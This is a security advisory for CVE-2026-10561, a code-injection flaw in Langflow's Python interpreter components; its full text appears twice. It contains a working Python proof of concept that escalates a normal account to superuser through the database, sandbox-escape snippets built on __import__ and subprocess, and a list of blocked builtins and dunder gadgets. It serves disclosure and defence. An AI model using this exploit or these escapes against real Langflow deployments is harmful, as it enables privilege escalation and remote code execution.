CVE-2026-10561

### Summary Langflow's built-in Python interpreter components — `PythonREPLComponent` (Python Interpreter) and the legacy `PythonREPLToolComponent` (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any **authenticated** user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping `is_superuser`) or compromise the host. **This issue is fixed as of 1.10.1**, with additional hardening through 1.12.3. See *Remediation* below. ### Affected - **Package:** `langflow` (PyPI), and the underlying `lfx` package that ships the component. - **Vulnerable versions:** `< 1.10.1`. - **Patched:** `1.10.1` (core fix). Upgrade to `>= 1.12.3` for the complete hardening series. ### Details The root cause is **code injection** (CWE-94/CWE-95): the component passed raw input to LangChain's `PythonREPL`, which is explicitly *not* a security sandbox. Two distinct weaknesses existed before 1.10.1: 1. **Unrestricted builtins (default deployments).** `get_globals()` built the `exec` globals from the `global_imports` allow-list but never set `__builtins__`. CPython's `exec()` then auto-injected the full `builtins` module, leaving `__import__`, `open`, `eval`, `exec` and the whole import machinery reachable regardless of the allow-list — e.g. `__import__("os").system(...)` or `__import__("subprocess").check_output([...])`. This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the **default** configuration (`allow_custom_components=True`). 2. **No server-policy gate (locked-down deployments).** Even a deployment hardened with `allow_custom_components=False` could still run interpreter code, because the components did not consult that policy before executing. Both let an authenticated user run the reported PoC, which opens a DB session and sets `is_superuser = True` on their account, or writes to the filesystem / runs OS commands with the service's privileges. ### PoC (as reported) 1. Authenticate as a normal user. 2. Create a flow with the `PythonREPLComponent`. 3. Execute Python that imports Langflow internals and elevates the account: ```python import asyncio from sqlmodel import select from langflow.services.database.models.user.model import User from langflow.services.deps import session_scope async def escalate(): async with session_scope() as session: stmt = select(User).where(User.username == 'testuser') user = (await session.exec(stmt)).first() if user: user.is_superuser = True session.add(user) await session.commit() asyncio.run(escalate()) ``` ### Impact Any authenticated user could: - Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE). - Escalate their own account to superuser via direct database access. - Read/modify data and configuration, and potentially pivot to the underlying host. ### Remediation Upgrade to **Langflow 1.10.1 or later** (preferably **>= 1.12.3**). The interpreter components were hardened with layered, defense-in-depth controls, applied in `run_python_repl()` before any code is executed: - **Restricted builtins** — `get_globals()` injects a curated `safe_builtins()` mapping, removing `__import__`, `eval`, `exec`, `compile`, `open`, `input`, `globals`/`locals`/`vars`, `getattr`/`setattr`, etc. (#13397) - **AST validation** — `validate_code_safety()` rejects inline `import`/`from ... import`, dunder/escape-gadget attribute access (`__class__`, `__subclasses__`, `__globals__`, frame/traceback introspection) and format-string dunder traversal. (#13397) - **Server-policy gate** — `ensure_code_execution_enabled()` refuses to run when `allow_custom_components=False` or `block_code_interpreter_components=True`, and **fails closed** if the settings stack cannot be resolved. (#13700 — this advisory — and #14375) - **Allow-listed module proxies** — imported modules are exposed via a proxy that blocks reaching `sys.modules["os"]` through a module's transitive import graph. (#15198) - **Optional hardware isolation** — configure `LANGFLOW_SANDBOX_BACKEND` to run interpreter code in an isolated microVM instead of in-process. (#14400) Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198. ### Hardening recommendations for operators - Keep Langflow updated (>= 1.12.3). - For locked-down deployments, set `LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false` (or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) to disable the interpreter entirely. - For deployments that must run untrusted code, configure `LANGFLOW_SANDBOX_BACKEND` for microVM isolation. - Run the Langflow service as an unprivileged user with least-privilege database credentials.

### Summary Langflow's built-in Python interpreter components — `PythonREPLComponent` (Python Interpreter) and the legacy `PythonREPLToolComponent` (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any **authenticated** user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping `is_superuser`) or compromise the host. **This issue is fixed as of 1.10.1**, with additional hardening through 1.12.3. See *Remediation* below. ### Affected - **Package:** `langflow` (PyPI), and the underlying `lfx` package that ships the component. - **Vulnerable versions:** `< 1.10.1`. - **Patched:** `1.10.1` (core fix). Upgrade to `>= 1.12.3` for the complete hardening series. ### Details The root cause is **code injection** (CWE-94/CWE-95): the component passed raw input to LangChain's `PythonREPL`, which is explicitly *not* a security sandbox. Two distinct weaknesses existed before 1.10.1: 1. **Unrestricted builtins (default deployments).** `get_globals()` built the `exec` globals from the `global_imports` allow-list but never set `__builtins__`. CPython's `exec()` then auto-injected the full `builtins` module, leaving `__import__`, `open`, `eval`, `exec` and the whole import machinery reachable regardless of the allow-list — e.g. `__import__("os").system(...)` or `__import__("subprocess").check_output([...])`. This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the **default** configuration (`allow_custom_components=True`). 2. **No server-policy gate (locked-down deployments).** Even a deployment hardened with `allow_custom_components=False` could still run interpreter code, because the components did not consult that policy before executing. Both let an authenticated user run the reported PoC, which opens a DB session and sets `is_superuser = True` on their account, or writes to the filesystem / runs OS commands with the service's privileges. ### PoC (as reported) 1. Authenticate as a normal user. 2. Create a flow with the `PythonREPLComponent`. 3. Execute Python that imports Langflow internals and elevates the account: ```python import asyncio from sqlmodel import select from langflow.services.database.models.user.model import User from langflow.services.deps import session_scope async def escalate(): async with session_scope() as session: stmt = select(User).where(User.username == 'testuser') user = (await session.exec(stmt)).first() if user: user.is_superuser = True session.add(user) await session.commit() asyncio.run(escalate()) ``` ### Impact Any authenticated user could: - Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE). - Escalate their own account to superuser via direct database access. - Read/modify data and configuration, and potentially pivot to the underlying host. ### Remediation Upgrade to **Langflow 1.10.1 or later** (preferably **>= 1.12.3**). The interpreter components were hardened with layered, defense-in-depth controls, applied in `run_python_repl()` before any code is executed: - **Restricted builtins** — `get_globals()` injects a curated `safe_builtins()` mapping, removing `__import__`, `eval`, `exec`, `compile`, `open`, `input`, `globals`/`locals`/`vars`, `getattr`/`setattr`, etc. (#13397) - **AST validation** — `validate_code_safety()` rejects inline `import`/`from ... import`, dunder/escape-gadget attribute access (`__class__`, `__subclasses__`, `__globals__`, frame/traceback introspection) and format-string dunder traversal. (#13397) - **Server-policy gate** — `ensure_code_execution_enabled()` refuses to run when `allow_custom_components=False` or `block_code_interpreter_components=True`, and **fails closed** if the settings stack cannot be resolved. (#13700 — this advisory — and #14375) - **Allow-listed module proxies** — imported modules are exposed via a proxy that blocks reaching `sys.modules["os"]` through a module's transitive import graph. (#15198) - **Optional hardware isolation** — configure `LANGFLOW_SANDBOX_BACKEND` to run interpreter code in an isolated microVM instead of in-process. (#14400) Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198. ### Hardening recommendations for operators - Keep Langflow updated (>= 1.12.3). - For locked-down deployments, set `LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false` (or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) to disable the interpreter entirely. - For deployments that must run untrusted code, configure `LANGFLOW_SANDBOX_BACKEND` for microVM isolation. - Run the Langflow service as an unprivileged user with least-privilege database credentials.